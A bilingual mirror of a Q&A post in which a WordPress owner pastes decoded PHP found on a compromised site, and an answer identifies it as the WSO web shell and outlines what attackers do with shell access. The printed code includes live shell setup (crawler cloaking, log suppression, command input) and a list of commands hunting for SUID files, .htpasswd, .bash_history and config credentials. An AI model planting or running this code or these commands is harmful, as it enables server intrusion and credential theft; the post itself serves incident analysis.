简体   繁体   English

在我的 Wordpress 上发现的这个恶意 PHP 代码实际上有什么作用?

[英]What does this Malicious PHP code found on my Wordpress actually do?

Unfortunatelly I am not a PHP programmer and am not fully able to follow what happens in the following code.不幸的是,我不是 PHP 程序员,无法完全理解以下代码中发生的情况。

It was extracted from a php file injected into a Wordpress directory.它是从注入 Wordpress 目录的 php 文件中提取的。 After several base64 and decompressions I was able to get this:经过几次 base64 和解压缩后,我得到了这个:

<?php ?><?php
/* Reject search engines */
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array('Google', 'Slurp', 'MSNBot', 'ia_archiver', 'Yandex', 'Rambler');
    if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
/* Settings */
$color = '#12ff4f';
$default_charset = 'Windows-1251';
//$auth_pass='2ff14d14e063ac36b593e3d437005300ea2f77bb';//memes
/* Shell Setup */
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('allow_url_fopen', true);
@ini_set("allow_url_include", true);
@set_time_limit(0);
/*More Shell Setup*/
if (get_magic_quotes_runtime()) @set_magic_quotes_runtime(0);
if (get_magic_quotes_gpc()) {
    function WSOstripslashes($arr) {
        return is_array($arr) ? array_map('WSOstripslashes', $arr) : stripslashes($arr);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}
function WSOb64decode($arr) {
    return is_array($arr) ? array_map('WSOb64decode', $arr) : base64_decode($arr);
}
function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}
if (!empty($auth_pass)) {
    if (isset($_POST['pass']) && (sha1($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), base64_encode($_POST['pass']));
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || (sha1(base64_decode($_COOKIE[md5($_SERVER['HTTP_HOST']) ])) != $auth_pass)) die('<form method=post>Password: <input type=password name=pass><input type=submit value=">>"></form>');
}
$_POST = WSOb64decode($_POST);
$os = (strtolower(substr(PHP_OS, 0, 3)) == 'win') ? 'win' : 'nix';
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode) error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if (isset($_POST['c'])) @chdir($_POST['c']);
$cwd = @getcwd();
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
$aliases = array('List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find suid' => 'find / -type f -perm -04000 -ls', 'find suid in current dir' => 'find . -type f -perm -04000 -ls', 'find sgid' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php' => 'find / -type f -name config.inc.php', 'find config*' => 'find / -type f -name "config*"', 'find config* in current dir' => 'find . -type f -name "config*"', 'find writable folders and files' => 'find / -perm -2 -ls', 'find writable folders and files in current dir' => 'find . -perm -2 -ls', 'find service.pwd' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find .htpasswd' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find .bash_history' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find .fetchmailrc' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf' => 'locate httpd.conf', 'locate vhosts.conf' => 'locate vhosts.conf', 'locate proftpd.conf' => 'locate proftpd.conf', 'locate psybnc.conf' => 'locate psybnc.conf', 'locate my.conf' => 'locate my.conf', 'locate admin.php' => 'locate admin.php', 'locate cfg.php' => 'locate cfg.php', 'locate conf.php' => 'locate conf.php', 'locate config.dat' => 'locate config.dat', 'locate config.php' => 'locate config.php', 'locate config.inc' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php' => 'locate config.default.php', 'locate config*' => 'locate config', 'locate .conf' => 'locate ".conf"', 'locate .pwd' => 'locate ".pwd"', 'locate .sql' => 'locate ".sql"', 'locate .htpasswd' => 'locate ".htpasswd"', 'locate .bash_history' => 'locate ".bash_history"', 'locate .mysql_history' => 'locate ".mysql_history"', 'locate .fetchmailrc' => 'locate ".fetchmailrc"', 'locate backup' => 'locate backup', 'locate dump' => 'locate dump', 'locate priv' => 'locate priv');
if ($os == 'win') {
    $home_cwd = str_replace('\',' / ',$home_cwd);$cwd=str_replace('\',' / ',$cwd);$aliases=array('ListDirectory'=>'dir','Findindex . phpincurrentdir'=>'dir / s / w / bindex . php','Find * config * . phpincurrentdir'=>'dir / s / w / b * config * . php','Showactiveconnections'=>'netstat - an','Showrunningservices'=>'netstart','Useraccounts'=>'netuser','Showcomputers'=>'netview','ARPTable'=>'arp - a','IPConfiguration'=>'ipconfig / all');}
if($cwd[strlen($cwd)-1]!=' / ')$cwd.=' / ';
if(!function_exists('posix_getpwuid')&&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)){function posix_getpwuid($p){return false;}}
if(!function_exists('posix_getgrgid')&&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)){function posix_getgrgid($p){return false;}}

... [full code in pastebin]                                                            

Full Code Pastebin完整代码粘贴箱

Appreciate your help in understanding this!感谢您帮助理解这一点! Thank you谢谢

One of the first things a malicious user will do when exploiting a vulnerability is they try to get a payload to land on the target server -- usually this payload includes a backdoor or some other mechanism to execute arbitrary code and commands, eg to edit files or upload more files.恶意用户在利用漏洞时会做的第一件事是他们试图让有效载荷登陆目标服务器——通常这个有效载荷包括后门或其他一些机制来执行任意代码和命令,例如编辑文件或上传更多文件。

The code you shared is very readable for an exploit!您共享的代码对于漏洞利用来说非常易读! Usually exploit payloads are encoded or "fuzzed" to make them practically unreadable and harder for virus detection software to detect their signatures.通常,漏洞利用有效载荷经过编码或“模糊处理”,使它们实际上不可读,并且病毒检测软件更难检测其签名。 However, you don't necessarily need to follow it line-by-line to see that it sets up an HTML web form and allows execution of some file and directory commands.但是,您不一定需要逐行查看它是否设置了 HTML Web 表单并允许执行某些文件和目录命令。 The payload here appears to be a web shell (which is a common payload) -- ie an HTML-driven app that lets an attacker navigate your file system.这里的有效负载似乎是一个 web shell(这是一个常见的有效负载)——即一个 HTML 驱动的应用程序,它可以让攻击者浏览您的文件系统。 It appears to be the WSO Webshell .它似乎是WSO Webshel​​l

What does an attacker do once they have (web) shell access?一旦攻击者拥有(Web)shell 访问权限,他们会做什么? That's a different question entirely.这是一个完全不同的问题。 If an attacker has access to a web site, they can change files (eg maybe they can modify login or payment forms so they collect/email credentials), they could execute arbitrary code (eg to turn your web server into a bot to be recruited in a DDoS attack on some other site), they often attempt to remove your access to the server (eg by removing SSH keys or by changing the server logins), and they could then blackmail you for ransom payment.如果攻击者可以访问网站,他们可以更改文件(例如,他们可以修改登录或付款表格,以便收集/发送电子邮件凭据),他们可以执行任意代码(例如,将您的 Web 服务器变成要招募的机器人)在其他站点的 DDoS 攻击中),他们通常会尝试删除您对服务器的访问权限(例如,通过删除 SSH 密钥或更改服务器登录名),然后他们可能会勒索您以支付赎金。

I was once offered $5k/month to hack WordPress sites because (the guy claimed) that taking over sites allowed him to collect ad revenue from them. 曾经有人向我提供每月 5000 美元的报酬来破解 WordPress 网站,因为(这家伙声称)接管网站可以让他从他们那里收取广告收入。 It is (apparently) a profitable business to be in.这(显然)是一项有利可图的业务。

Depending on how things are set up they might be able to impersonate you online or find ways to work themselves deeper into your network (eg to steal emails or manipulate vote counts).根据设置的方式,他们可能会在网上冒充您或找到更深入您网络的方法(例如窃取电子邮件或操纵投票计数)。 A professional security audit would help identify the exposure and risk to various attacks.专业的安全审计将有助于识别各种攻击的暴露和风险。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM